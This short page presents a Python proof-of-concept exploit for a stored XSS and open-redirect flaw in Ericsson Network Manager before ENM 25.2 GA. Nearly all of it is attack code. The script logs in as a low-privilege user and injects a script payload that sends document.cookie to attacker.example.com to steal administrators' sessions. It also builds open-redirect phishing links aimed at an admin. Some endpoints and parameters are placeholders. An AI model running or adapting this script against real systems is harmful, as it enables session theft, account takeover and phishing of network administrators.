Ericsson Network Manager versions prior to ENM 25.2 GA contain a vulnerability that, if exploited, can exfiltrate limited data or redirect victims to other sites or domains.
The following code is for security research and authorized testing only.
python
# CVE-2025-27259 - Ericsson Network Manager XSS/Open Redirect PoC
# This PoC demonstrates the concept of exploiting an XSS vulnerability
# in Ericsson Network Manager prior to ENM 25.2 GA
import requests
import sys
TARGET_URL = "https://target-enm-server.example.com"
ATTACKER_SERVER = "https://attacker.example.com/steal"
# Step 1: Authenticate with low-privilege credentials
session = requests.Session()
login_payload = {
"username": "low_priv_user",
"password": "password123"
}
session.post(f"{TARGET_URL}/api/auth/login", data=login_payload)
# Step 2: Inject malicious XSS payload into a vulnerable input field
# This payload will exfiltrate session cookies to the attacker's server
xss_payload = (
"<script>"
f"fetch('{ATTACKER_SERVER}?cookie=' + document.cookie)"
"</script>"
)
# Inject the payload into a field that will be viewed by other users (e.g., admin)
inject_payload = {
"field_name": "description", # Replace with actual vulnerable parameter
"field_value": xss_payload
}
session.post(f"{TARGET_URL}/api/config/update", data=inject_payload)
# Step 3: Alternatively, demonstrate open redirect vulnerability
redirect_payload = f"{TARGET_URL}/redirect?url=https://attacker.example.com/phishing"
print(f"Malicious redirect URL: {redirect_payload}")
# Step 4: Craft a phishing link to send to the victim (admin user)
phishing_link = f"{TARGET_URL}/page?view={redirect_payload}"
print(f"Phishing link to send to victim: {phishing_link}")
print("[+] Payload injected successfully")
print("[+] Waiting for victim (admin) to view the malicious content...")
